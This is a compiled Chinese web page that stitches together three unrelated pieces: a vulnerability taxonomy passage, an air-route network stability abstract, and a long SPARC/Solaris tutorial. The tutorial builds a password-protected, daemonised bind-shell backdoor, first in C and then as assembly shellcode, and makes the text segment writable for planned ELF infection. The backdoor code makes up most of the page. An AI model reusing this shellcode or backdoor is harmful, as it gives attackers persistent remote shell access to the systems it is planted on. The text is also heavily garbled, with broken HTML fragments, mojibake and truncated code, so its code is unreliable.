下面是小编收集整理的网络系统安全漏洞分类研究(下),本文共6篇,仅供参考,希望能够帮助到大家。

篇1:网络系统安全漏洞分类研究(下)
B.按漏洞的成因对其分类,是对漏洞进行分类最另人头疼的一个方面,因为对漏洞研究的不同抽象层次,会对同一个漏洞做出不同的分类,对下面提到的ps竞争条件漏洞,从最低层次上来说是参数验证错误,因为相继的系统调用并没有检查他们所处理的是否为同一个对象,从高一些的层次看,这是一个同步或竞争条件错误,从更高的层次看,这则是一个逻辑错误,因为对象可能在使用过程中被删除,至今也没看到一个比较完美分类方案,包括securityfocus上的分类也不能让人满意,现大致分成以下几类:一、输入验证错误大多数的缓冲区溢出漏洞和cgi类漏洞都是由于未对用户提供的输入数据的合法性作适当的检查。
二、访问验证错误漏洞的产生是由于程序的访问验证部分存在某些可利用的逻辑错误,使绕过这种访问控制成为可能。上面提到的那个早期AIX的rlogin漏洞就是这种典型。三、竞争条件漏洞的产生在于程序处理文件等实体时在时序和同步方面存在问题,这处理的过程中可能存在一个机会窗口使攻击者能够施以外来的影响。早期的Solaris系统的ps命令存在这种类型的漏洞,ps在执行的时候会在/tmp产生一个基于它pid的临时文件,然后把它chown为root,改名为ps_data,
如果在ps运行时能够创建这个临时文件指向我们有兴趣的文件,这样ps执行以后,我们就可以对这个root拥有文件做任意的修改,这可以帮助我们获得root权限。四、意外情况处置错误漏洞的产生在于程序在它的实现逻辑中没有考虑到一些意外情况,而这些意外情况是应该被考虑到的。大多数的/tmp目录中的盲目跟随符号链接覆盖文件的漏洞属于这种类型。例子:Sco UNIX openserver的/etc/sysadm.d/bin/userOsa存在盲目覆盖调试日志文件的问题,而文件的名字是固定的,通过把文件名指向某些特权文件,可以完全破坏系统。五、设计错误这个类别是非常笼统的,严格来说,大多数的漏洞的存在都是设计错误,因此所有暂时无法放入到其他类别的漏洞,先放在这。
热门推荐:用XP SP2仿真远程多用户登录 XP使用过程中的六个禁忌
点击阅读更多学院相关文章>>
分享到
篇2:航路网络系统结构稳定性研究
航路网络系统结构稳定性研究
航路网络系统的结构稳定性直接影响空中交通流量管理实施的有效性.本文考虑空中交通流与道路交通流的共性,借鉴堵塞流理论对航路网络系统进行稳定性分析,并提出了衡量系统稳定性的指标和提高航路网络结构稳定性的`措施.通过对典型的航路网络结构进行仿真计算,验证了提高稳定性措施的正确性和可行性,说明了航路稳定性研究能为空中交通流量管理提供技术和决策支持.
作 者:黎新华 张兆宁 侯蕤 LI Xin-hua ZHANG Zhao-ning HOU Rui 作者单位:黎新华,侯蕤,LI Xin-hua,HOU Rui(民航西南空管局,飞服中心,成都610202)张兆宁,ZHANG Zhao-ning(中国民航大学,空管学院,天津300300)
刊 名:交通运输工程与信息学报 ISTIC英文刊名:JOURNAL OF TRANSPORTATION ENGINEERING AND INFORMATION 年,卷(期): 7(1) 分类号:V37 关键词:空中交通流量管理 航路 稳定性 堵塞流篇3:SPARC/Solaris下的网络系统调用
无论从感染ELF文件来说还是编写远程shellcode角度来说都有需要研究SPARC/Solaris下
的网络系统调用,这个方向并目前没有现成的资料,所以我同大家一起摸索中:
--------------------------------------------------------------------------
/* gcc -g -ggdb -o s s.c -lsocket */
#include
#include
#include
#include
int s, c;
struct sockaddr_in serv_addr;
char * name[2];
char pass[9] = “xxxxxxxx”;
int main ( int argc, char * argv[] )
{
if ( fork == 0 ) /* 子进程 */
&n!
bsp; {
setsid(); /* become session leader */
signal( SIGHUP, SIG_IGN );
if ( fork() == 0 ) /* 子进程 */
{
serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
serv_addr.sin_port = 0x; // 端口8192
// 创建TCP套接字,这里与Linux有区别
s !
&n!
bsp;&nbs
p; = socket( 2, 2, 6 );
bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
listen( s, 1 );
signal( SIGCHLD, SIG_IGN );
while ( 1 )
{
c = accept( s, 0, 0 );
if ( fork() == 0 ) /* 子进程 */
{
!
close( s );
/* 用c进行通信,做一次弱验证保护 */
while ( strcmp( pass, “12345678” ) != 0 )
{
read( c, pass, 8 );
}
// 准备输入输出重定向,标准技术
&!
nbsp; &nb!
sp;
; dup2( c, 0 );
dup2( c, 1 );
dup2( c, 2 );
close( c ); /* 这里可以关闭c */
name[0] = “/bin/sh”;
name[1] = 0;
execve( name[0], name, 0 );
!
exit( 0 ); /* 防止execve()失败 */
}
close( c ); /* 这里必须关闭c */
} /* end of while */
}
}
return( 0 ); /* 父进程 */
} /* end of main */
--------------------------------------------------------------------------
该程序只能编译成动态版本,如果指定-static,发现
[scz@ /space/staff/scz/src]>gcc -g -ggdb -static -o s s.c -lsocket
未定义符号 在文件中
endnetconfig !
/usr/lib!
/libsock
et.a(_soutil.o)
setnetconfig /usr/lib/libsocket.a(_soutil.o)
getnetconfig /usr/lib/libsocket.a(_soutil.o)
ld: 致命的: 符号参照错误. 没有输出被写入s
[scz@ /space/staff/scz/src]>
我尝试了/usr/lib和/lib下的很多库,都无法解决这个问题。后来拷贝
/usr/lib/libsocket.a到当前目录,用ar dv ./libsocket.a _soutil.o处理,然后
链接一样失败。甚至ar xv ./libsocket.a后用ld命令进行手工链接,依旧存在外部
符号无着落的问题。
大家知道,没有静态版本,要想得到一个精简的汇编代码版本是不可能的,总不能在
浩如烟海的动态链接库里单步跟踪下去判断中断调用发生在哪里。还好,可以用
truss跟踪。适当调整上述代码,用truss跟踪后有如下内容:
setsid() &n!
bsp; = 2260
sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8) = 0
so_socket(2, 2, 6, “”, 1) = 3
bind(3, 0x00021E60, 16) = 0
listen(3, 1) = 0
sigaction(SIGCLD, 0xEFFFFC58, 0xEFFFFCD8) = 0
accept(3, 0x00000000, 0x00000000) (sleeping...)
这堆信息就不用我再废话解释了吧。ok,至此我们有了一个绝妙的想法,既然得不到
静态版本!
主要由于libsocket.a外部符号无着落,那么我用syscall呢?直接进行!
相对
底层的系统调用,呵呵,其实以前很少用syscall的,这次也是被逼无奈嘛。现在可
以抛弃-lsocket链接开关了,这只猪害人不浅。
关于setsid(),如果用gdb反汇编一路看下去,还是很快定位到中断调用的,但是我
们可以直接观察/usr/include/sys/syscall.h,第39号系统调用的注释中有:
setsid() == syscall( 39, 3 ) == syscall( SYS_pgrpsys, 3 )
显然可以直接替换setsid()。至于signal,对应48号系统调用(SYS_signal),也直接
利用syscall完成。
--------------------------------------------------------------------------
// gcc -g -ggdb -static -o s s.c
// 使用syscall之后,可以抛弃-lsocket链接开关
// 由于libsocket.a有点问题,存在外部符号无着落,无法使用静态链接开关
// 但是现在我们抛开了libsocket.a,可以指定-static了,哈哈
#include
#include
#include
#include
#include
#include
int &!
nbsp; s, c;
struct sockaddr_in serv_addr;
char * name[2];
char pass[9] = “xxxxxxxx”;
int main ( int argc, char * argv[] )
{
if ( fork() == 0 ) /* 子进程 */
{
// setsid(); /* become session leader */
// SYS_pgrpsys
syscall( 39, 3 );
// signal( SIGHUP, SIG_IGN );
// SYS_signal
syscall( 48, 1, 1 );
if ( fork() == 0 ) /* 子进程 */
&nbs!
p; {
&!
nbsp;&nb
sp; serv_addr.sin_family = 2;
serv_addr.sin_addr.s_addr = 0;
// 使用big endian序
serv_addr.sin_port = 0x2000; // 端口8192
// 创建TCP套接字,这里与Linux有区别
// s = socket( 2, 2, 6 );
// SYS_so_socket
&nb!
sp; s = syscall( 230, 2, 2, 6 );
// bind( s, ( struct sockaddr * )&serv_addr, 0x10 );
// SYS_bind
syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 );
// listen( s, 1 );
// SYS_listen
syscall( 233, s, 1 );
// signal( SIGCHLD, SIG_IGN );
!
; syscall( 48, 18, 1 );
!
&n
bsp; while ( 1 )
{
// c = accept( s, 0, 0 );
// SYS_accept
c = syscall( 234, s, 0, 0 );
if ( fork() == 0 ) /* 子进程 */
{
// close( s );
&n!
bsp; // SYS_close
syscall( 6, s );
/* 用c进行通信,做一次弱验证保护 */
while ( strcmp( pass, “12345678” ) != 0 )
{
// read( c, pass, 8 );
// SYS_read
&nbs!
p; !
&n
bsp; syscall( 3, c, pass, 8 );
}
// 准备输入输出重定向,标准技术
// dup2( c, 0 );
// dup2( c, 1 );
// dup2( c, 2 );
// SPARC/Solaris没有单独实现dup2,而是用fcntl实现
!
; // 有点其他问题,请参看APUE,天晓得发生了什么
// syscall( SYS_fcntl, c, F_DUP2FD, 0 );
syscall( 62, c, 9, 0 );
syscall( 62, c, 9, 1 );
syscall( 62, c, 9, 2 );
// close( c ); /* 这里可以关闭c */
&n!
bsp; syscall( 6, c );
&n!
bsp;&nbs
p; name[0] = “/bin/sh”;
name[1] = 0;
execve( name[0], name, 0 );
// exit( 0 ); /* 防止execve()失败 */
// SYS_exit
syscall( 1, 0 );
}
!
; // close( c ); /* 这里必须关闭c */
syscall( 6, c );
} /* end of while */
}
}
return( 0 ); /* 父进程 */
} /* end of main */
--------------------------------------------------------------------------
对于fork(),可以gdb ./s后disas _libc_fork查看。粗略浏览一遍之后,觉得基本
上每个系统调用都能得到机器码,下面着手细化每个系统调用,毕竟和i386/Linux不
同了。
--------------------------------------------------------------------------
0x101c0
0x101c4
bsp; : nop
0x101c8
ain+20>&
nbsp; : cmp %o0, 0
0x101cc
0x101d0
0x131c4 <_libc_fork>: mov 2, %g1 ! 0x2
0x131c8 <_libc_fork+4>: ta 8
0x131cc <_libc_fork+8>: bcc 0x131e0 <_libc_fork+28>
0x131d0 <_libc_fork+12>: sethi %hi(0x16000), %o5
0x131d4 <_libc_fork+16>: or %o5, 0x90, %o5 ! 0x16090 <_cerror>
0x131d8 <_libc_fork+20>: jmp %o5
0x131dc <_libc_fork+24>: nop
0x131e0 <_libc_fork+28>: tst %o1
0x131e4 <_libc_fork+32>: bne,a 0x131ec <_libc_fork+40>
0x131e8
;_libc_fork+36>: mov %g0, %o0
0x131ec <_libc_fork+40>: retl
0x131f0 <_libc_fork+44>: nop
--------------------------------------------------------------------------
综合判断后提炼如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
mov 2, %g1
ta 8
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽,注意理解延迟插?
鄣闹葱兴承?br>!
;call&nb
sp; .+8
nop
nop ! 需要替换,此时%o0为0,子进程继续
”);
} /* end of main */
--------------------------------------------------------------------------
可以用truss ./asm观察一下上述代码是否成功执行了fork()系统调用,man手册里提
到fork()失败会返回-1。
下面来观察syscall( 39, 3 ):
--------------------------------------------------------------------------
0x101d4
0x101d8
0x101dc
0x101e0
0x10fec
0x10!
ff0
0x10ff4
0x10ff8
0x10ffc
0x11000
0x11004
0x11008
0x1100c
--------------------------------------------------------------------------
综合判断后提炼如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
mov 0x27, %o0
!
;mov 3, %o1
!
; &
nbsp;clr %g1
ta 8
”);
} /* end of main */
--------------------------------------------------------------------------
同样可以用truss ./asm观察一下上述代码是否成功执行了setsid()系统调用。
下面来观察syscall( 48, 1, 1 ):
--------------------------------------------------------------------------
0x101e4
0x101e8
0x101ec
0x101f0
0x101f4
--------------------------------------------------------------------------
综合判断后提炼如下:
--------!
------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8
”);
} /* end of main */
--------------------------------------------------------------------------
有了上面的研究基础,下面直接编写syscall( 1, 0 ):
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
&nb!
sp; (“
!
&n
bsp;mov 0x01, %o0
clr %o1
clr %g1
ta 8
”);
} /* end of main */
--------------------------------------------------------------------------
ok,到此为止,我们不急于分析网络系统调用,计划先整和出一个汇编版本的daemon
框架:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
mov 2, %g1
ta 8
tst %o1 ! %o1不为0表示?
亲咏?br>bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
mov 0x27, %o0 ! 此前%o0为0,子进程继续
mov 3, %o1
clr %g1
ta 8
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
&nbs!
p; ta 8
>&
nbsp; mov 2, %g1
ta 8
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
exit:
mov 0x01, %o0
clr %o1
clr %g1
ta 8
”);
} /* end of main */
br>--------------------------------------------------------------------------
哈哈,虽然SPARC总是和我过不去,可也要留下点回忆嘛。
接下来观察s = syscall( 230, 2, 2, 6 ):
--------------------------------------------------------------------------
0x10244
0x10248
0x1024c
0x10250
0x10254
0x10258
0x1025c
0x10260
-----------------------------------------------!
---------------------------
从这里可以看出s由%o0返回,?
溆嗟亩杂
谖颐且丫不新鲜了?br>
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
mov 0xe6, %o0
mov 0x02, %o1
mov 0x02, %o2
mov 0x06, %o3
clr %g1
ta 8
st %o0, [ %l7 ] ! [ %l7 ]存放s
”);
} /* end of main */
--------------------------------------------------------------------------
如果去掉最后的st?
噶睿可以用truss ./asm检验效果,最后的st指令是保存s的意思,
这里假设%l7已经指向正确的内存空间。
接下来观察syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 ):
--------------------------------------------------------------------------
0x1020c
0x10210
0x10214
0x10218
0x1021c
0x10220
0x10224
0x10228
p; clr [ %o0 ] &n!
bsp;&nbs
p; ! serv_addr.sin_addr.s_addr = 0;
0x1022c
0x10230
0x10234
0x10238
0x1023c
0x10240
0x10264
0x10268
0x1026c
1b4 ], %o1 ! %o1设置成s
0x10270
0x10274
0x10278
0x1027c
0x10280
--------------------------------------------------------------------------
这两段比较晦涩难懂,我也无法确认该如何提炼,先尝试如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
mov 2, %o1
!
sth %o1, [ %l7 + 0x04 ] &nb!
sp;! ser
v_addr.sin_family
clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port
mov 0xe8, %o0 ! 第一个参数232
ld [ %l7 ], %o1 ! 第二个参数s
mov 4, %o2
add %l7, %o2, %o2 ! 第三个参数&serv_addr
mov 0x10, %o3 &nb!
sp; ! 最后一个参数16
clr %g1
ta 8
”);
} /* end of main */
--------------------------------------------------------------------------
不用观察syscall( 233, s, 1 )、syscall( 48, 18, 1 ),直接编写它们:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
mov 0xe9, %o0 ! 第一个参数233
ld [ %l7 ], %o1 ! 第二个参数s
!
mov !
; 0x01,
%o2 ! 第三个参数1
clr %g1
ta 8
mov 0x30, %o0
mov 0x12, %o1
mov 0x01, %o2
clr %g1
ta 8
”);
} /* end of main */
--------------------------------------------------------------------------
下面是c = syscall( 234, s, 0, 0 )的相关代码片段,尚未提炼:
--------------------------------------------------------------------------
0x102c0
x27800), %o1
0x102c4
0x102c8
0x102cc
0x102d0
0x102d4
0x102d8
0x102dc
0x102e0
--------------------------------------------------------------------------
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
&nbs!
p; __asm__
(“!
&nbs
p; mov 0xea, %o0
ld [ %l7 ], %o1 ! 第二个参数s
clr %o2
clr %o3
clr %g1
ta 8
st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c
”);
} /* end of main */
--------------------------------------------------------------------------
一个更加残酷的问题摆到了革命群众的面前,
Linux下有125号系统调用,
SPARC/Solaris呢?我在Linux的/usr/include/bits/syscall.h中大海捞针一般地找
到了125号系统调用的符号名SYS_mprotect,!
于是转回SUN下在
/usr/include/sys/syscall.h中查找SYS_mprotect,还好,116号系统调用就是的。
可入口参数呢?我怎么知道那些破破的SPARC芯片寄存器中哪个该设置成相关参数呢?
如果你以为革命群众已经到了最后关头,那就太不具备革命乐观主义精神了。万般无
奈下,我man mprotect了,呼呼,居然有东西出现,那么下面就不要废话啦,先赶快
提取mprotect的汇编码:
--------------------------------------------------------------------------
/* gcc -o test test.c */
#include
#include
#include
int main ( int argc, char * argv[] )
{
char * buf;
char c;
/* 分配一块内存,拥有缺省的rw-保护 */
buf = ( char * )malloc( 1024 + 4096 - 1 );
if ( !buf )
{
perror( “Couldn't malloc( 1024 )” );
&nb!
sp; exit( errno );
>&
nbsp; }
/* Align to a multiple of PAGESIZE, assumed to be a power of two */
buf = ( char * )( ( ( unsigned long )buf + 4096 - 1 ) & ~( 4096 - 1 ) );
c = buf[77]; /* Read ok */
buf[77] = c; /* Write ok */
printf( “ok\n” );
/* Mark the buffer read-only. */
// 必须保证这里buf位于页边界上,否则mprotect()失败,报告无效参数 */
if ( mprotect( buf, 1024, PROT_READ ) )
{
perror( “\nCouldn't mprotect” );
exit( errno );
}
c = buf[77];&n!
bsp; /* Read ok */
buf[77] = c; /* Write error, program dies on SIGSEGV */
exit( 0 );
} /* end of main */
--------------------------------------------------------------------------
[scz@ /export/home/scz/src]>gcc -o test test.c
[scz@ /export/home/scz/src]>./test
ok
段错误 (core dumped) <-- -- -- 内存保护起作用了
[scz@ /export/home/scz/src]>
用gdb ./test看到如下入口参数:
--------------------------------------------------------------------------
0x10bc4
0x10bc8
0x10bcc
0x10bd0
0x10bd4
p; nop
---------------------------------!
--------
---------------------------------
同样,并不直接使用mprotect系统调用,依旧采用syscall的方式,我们编写如下代
码:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
mov 0x74, %o0 ! 第一个参数116
sethi %hi(0x10000), %o1 ! 第二参数,起始地址
sethi %hi(0x00002000), %o2 ! 第三个参数8096
mov 0x07, %o3 ! 第四个参数7,rwx
clr %g1
!
ta 8
! call . ! 用于调试,设置个无限循环,然后用pmap观察
! nop
”);
} /* end of main */
--------------------------------------------------------------------------
别看目前代码这样清晰明了,可是费了不少手脚。关键需要注意的地方是起始地址必
须位于页边界上,将来我们可以取得_start之后与一个0xffff0000。甚至再简单点,
直接就使用上面这段代码,据我观察很多应用程序的_start都在0x10000到0x20000之
间。其次,这里想到了另外一个问题,6.c和7.c在文本段中只设置了4096字节的可读
可写区域,所以重复感染的次数不能太多,即使设置了4*4096字节的可读可写区域,
也不能重复感染太多次,否则就会出现段溢出错误,因为可能对只读内存区域进行了
写操作;再说重复感染多次,文件尺寸的激增也容易暴露,没有必要。我们这里姑且
先固定地使用0x10000做起始地址,回头打印一下通过程序找!
到的文本段起始地址,
看看是否符合页边界对齐的要求,如果符合!
,就可以
动态设置起始地址。再说吧,
SPARC下罗嗦了许多。
我们可以整合出一个daemon,这个daemon监听8192端口:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
mov 0x74, %o0 ! 第一个参数116
sethi %hi(0x10000), %o1 ! 第二参数,起始地址
sethi %hi(0x00002000), %o2 ! 第三个参数8096
mov 0x07, %o3 ! 第四个参数7,rwx
clr %g1
&nb!
sp; ta 8
bn,a .-4 ! 跳转去执行call .-4指令
bn,a .-4 ! 跳转去执行nop
call .-4 ! 跳转去执行前面这条bn,a .-4指令
nop ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次
add %o7, 172, %l7 !
! %o7 + 172 指向本段代码尾部
!
&n
bsp; mov 0xe6, %o0
mov 0x02, %o1
mov 0x02, %o2
mov 0x06, %o3
clr %g1
ta 8
st %o0, [ %l7 ] ! [ %l7 ]存放s
mov 2, %o1
sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family
clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr
&nb!
sp;sethi %hi(0x2000), %o1
sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port
mov 0xe8, %o0 ! 第一个参数232
ld [ %l7 ], %o1 ! 第二个参数s
mov 4, %o2
add %l7, %o2, %o2 ! 第三个参数&serv_addr
mov 0x10, %o3 ! 最后一个参数16
clr %g1
ta &!
nbsp; 8
&nbs!
p;mov&nb
sp; 0xe9, %o0 ! 第一个参数233
ld [ %l7 ], %o1 ! 第二个参数s
mov 0x01, %o2 ! 第三个参数1
clr %g1
ta 8
mov 0x30, %o0
mov 0x12, %o1
mov 0x01, %o2
clr %g1
ta 8
&nbs!
p; mov 0xea, %o0
ld [ %l7 ], %o1 ! 第二个参数s
clr %o2
clr %o3
clr %g1
ta 8
st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c
exit:
mov 0x01, %o0
clr %o1
clr %g1
ta 8
.ascii&nbs!
p; \”xxxxxxxx\“
&nbs!
p;
.ascii \”xxxxxxxx\“
.ascii \”xxxxxxxx\“
.ascii \”xxxxxxxx\“
”);
} /* end of main */
--------------------------------------------------------------------------
这段代码仅仅演示了很重要的两个部分,一个是设置文本段可写,一个是成功创建套
接字并阻塞在accept()系统调用处,一旦有入连接,程序就正常终止了。幸运的是,
在经历了太多磨难后,SPARC没有继续为难我们,一切按照预想的发展。
编写syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ):
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
mov 0x06, %o0 !
! 第一个参数6
ld [ %l7 ], %o1 ! 第二个参数s
clr %g1
ta 8
mov 0x3e, %o0 ! 第一个参数62
ld [ %l7 + 4 ], %o1 ! 第二个参数c
mov 0x09, %o2
clr %o3
clr %g1
ta 8
&nbs!
p; mov 0x06, %o!
0 &
nbsp; ! 第一个参数6
ld [ %l7 + 4 ], %o1 ! 第二个参数c
clr %g1
ta 8
”);
} /* end of main */
--------------------------------------------------------------------------
还有一个更烦人的execve( name[0], name, 0 ),可以从
<< solaris for sparc下shellcode的编写(三) >>中偷一些代码过来:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
sethi 0xbd89a, %l4 ! sethi %hi!
(0x2f626800), %l4
or %l4, 0x16e, %l4
sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5
and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh
add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针
xor %o2, %o2, %o2 ! %o2寄存器清零
add %sp, 16, %sp ! 留出存储空间
std %l4, [%sp - 16] ! 存放字符串
st &!
nbsp; %o0, [%sp - 8] ! 存放字符串?
刚?br>&
nbsp; st %g0, [%sp - 4] ! %g0总是为0
mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中
ta 8 ! 执行中断指令ta 8(execve()完成)
”);
} /* end of main */
--------------------------------------------------------------------------
最后研究一下syscall( 3, c, pass, 8 ):
--------------------------------------------------------------------------
0x1033c
0x10340
0x10344
26400), %o3
0x10348
0x1034c
0x10350
0x10354
--------------------------------------------------------------------------
分析后提炼如下:
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
mov 0x03, %o0 ! 第一个参数3
ld [ %l7 + 4 ], %o1 ! 第二个参数c
&nbs!
p; add %l7, 8, %o2&nb!
sp;
; ! 第三个参数pass
mov 0x08, %o3 ! 第四个参数8
clr %g1
ta 8
”);
} /* end of main */
--------------------------------------------------------------------------
本以为这就是最后了,猛然记起SPARC没有repnz cmpsb指令。可以省点事的是我们强
制口令恰好8个字节,所以比较两个usigned long即可。
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
read:
mov 0x03, %o0 &n!
bsp; ! 第一个参数3
ld [ %l7 + 4 ], %o1 ! 第二个参数c
add %l7, 8, %o2 ! 第三个参数pass
mov 0x08, %o3 ! 第四个参数8
clr %g1
ta 8 ! read( c, pass, 8 )
ld [ %l7 + 8 ], %o0
ld [ %l7 + 28 ]!
, %o1
cmp&n!
bsp;&nbs
p; %o0, %o1
be,a .+16
nop
call read
nop
ld [ %l7 + 12 ], %o0
ld [ %l7 + 32 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
”);
} /* end of main */
--------------------------------------------------------------------------
实际最初的代码不是这个样子,当时忽略了SPARC下严?
竦?字节对齐的要求,导致在
做弱口令验证的时候总线错误,i386下是没有这种顾虑的。这也说明了SPARC下汇编
编程更加困难,需要更多的细心。
至此,我们需要的各个系统调用、各个关键部位的汇编代码统统搞定,剩下的问题是
组合它们。提醒大家的是,即使我们这次组合顺利,也不意味着backdoor for sparc
成功搞定,尚不了解ELF的处理方式是否通用于SPARC和i386之间。如果搞不定,大家
不要乱扔臭鸡蛋、西红柿什么的,砸到我倒没什么,砸到小朋友怎么办,即使砸不到
小朋友,砸到那些花花草草也是不好的,我都给你们说过多次了。
言归正传,backdoor如果没搞定,作为汇编版本的远程shell毕竟提供出来了,对于
以后可能出现的很多研究有借鉴作用,也是不错的。
--------------------------------------------------------------------------
/* gcc -o asm asm.c */
int main ( int argc, char * argv[] )
{
__asm__
(“
mov 2, %g1
!
; ta 8 &nbs!
p;
! fork()
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
mov 0x27, %o0 ! 此前%o0为0,子进程继续
mov &!
nbsp; 3, %o1
clr %g1
ta 8 ! setsid()
mov 0x30, %o0
mov 1, %o1
mov 1, %o2
clr %g1
ta 8 ! signal( SIGHUP, SIG_IGN )
mov 2, %g1
ta 8 &nb!
sp; !
; &
nbsp; ! fork()
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call exit
nop
mov 0x74, %o0 ! 第一个参数116
sethi %hi(0x10000), %o1 ! 第二参数,起始地址
&nb!
sp; sethi %hi(0x00002000), %o2 ! 第三个参数8096
mov 0x07, %o3 ! 第四个参数7,rwx
clr %g1
ta 8 ! 设置文本段可写
bn,a .-4 ! 跳转去执行call .-4指令
bn,a .-4 ! 跳转去执行nop
&nbs!
p;call .-4 !
; &
nbsp; ! 跳转去执行前面这条bn,a .-4指令
nop ! 作为延迟插槽被执行一次,bn,a跳转后又执行一次
add %o7, 464, %l7 ! %o7 + 464 指向本段代码尾部
mov 0xe6, %o0
mov 0x02, %o1
mov 0x02, %o2
mov 0x06, %o3
clr %g1
ta 8 &n!
bsp; ! socket( 2, 2, 6 )
st %o0, [ %l7 ] ! [ %l7 ]存放s
mov 2, %o1
sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_family
clr [ %l7 + 0x08 ] ! serv_addr.sin_addr.s_addr
sethi %hi(0x2000), %o1
sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_port
mov 0xe8, %o0 ! 第一个参数232
&n!
bsp; ld [ %l7 ], %o1 &n!
bsp;&nbs
p; ! 第二个参数s
mov 4, %o2
add %l7, %o2, %o2 ! 第三个参数&serv_addr
mov 0x10, %o3 ! 最后一个参数16
clr %g1
ta 8 ! bind( s, ( struct sockaddr * )&serv_addr, 0x10 )
mov 0xe9, %o0 ! 第一个参数233
ld &nb!
sp; [ %l7 ], %o1 ! 第二个参数s
mov 0x01, %o2 ! 第三个参数1
clr %g1
ta 8 ! listen( s, 1 )
mov 0x30, %o0
mov 0x12, %o1 ! SIGCHLD
mov 0x01, %o2
clr %g1
ta &n!
bsp;8 &nb!
sp;
; ! signal( SIGCHLD, SIG_IGN )
accept:
mov 0xea, %o0
ld [ %l7 ], %o1 ! 第二个参数s
clr %o2
clr %o3
clr %g1
ta 8 ! accept( s, 0, 0 )
st %o0, [ %l7 + 4 ] ! [ %l7 +4 ]存放c
mov 2, %g1
&nb!
sp; ta 8 ! fork()
tst %o1 ! %o1不为0表示是子进程
bne,a .+16 ! 是子进程,跳转
mov %g0, %o0 ! 延迟插槽
call loop
nop
mov 0x06, %o0 &!
nbsp;! 第一个参数6
&nbs!
p;
ld [ %l7 ], %o1 ! 第二个参数s
clr %g1
ta 8 ! close( s )
read:
mov 0x03, %o0 ! 第一个参数3
ld [ %l7 + 4 ], %o1 ! 第二个参数c
add %l7, 8, %o2 ! 第三个参数pass
mov 0x08, %o3 !
! 第四个参数8
clr %g1
ta 8 ! read( c, pass, 8 )
ld [ %l7 + 8 ], %o0
ld [ %l7 + 28 ], %o1
cmp %o0, %o1
be,a .+16
nop
call read
nop
ld [ %l7 + 12 ], %o0
ld !
; [ %l7 + 32 ], %o1
&nbs!
p;
cmp %o0, %o1
be,a .+16
nop
call read
nop
mov 0x3e, %o0 ! 第一个参数62
ld [ %l7 + 4 ], %o1 ! 第二个参数c
mov 0x09, %o2
clr %o3
clr %g1
ta 8 &nbs!
p; ! dup2( c, 0 )
mov 0x3e, %o0 ! 第一个参数62
ld [ %l7 + 4 ], %o1 ! 第二个参数c
mov 0x09, %o2
mov 0x01, %o3
clr %g1
ta 8 ! dup2( c, 1 )
mov 0x3e, %o0 ! 第一个参数62
ld &nbs!
p; [ %l7 + 4 ], %o1 ! 第二个参数c!
&nbs
p; mov 0x09, %o2
mov 0x02, %o3
clr %g1
ta 8 ! dup2( c, 2 )
mov 0x06, %o0 ! 第一个参数6
ld [ %l7 + 4 ], %o1 ! 第二个参数c
clr %g1
ta 8 &!
nbsp;! close( c )
sethi 0xbd89a, %l4 ! sethi %hi(0x2f626800), %l4
or %l4, 0x16e, %l4
sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5
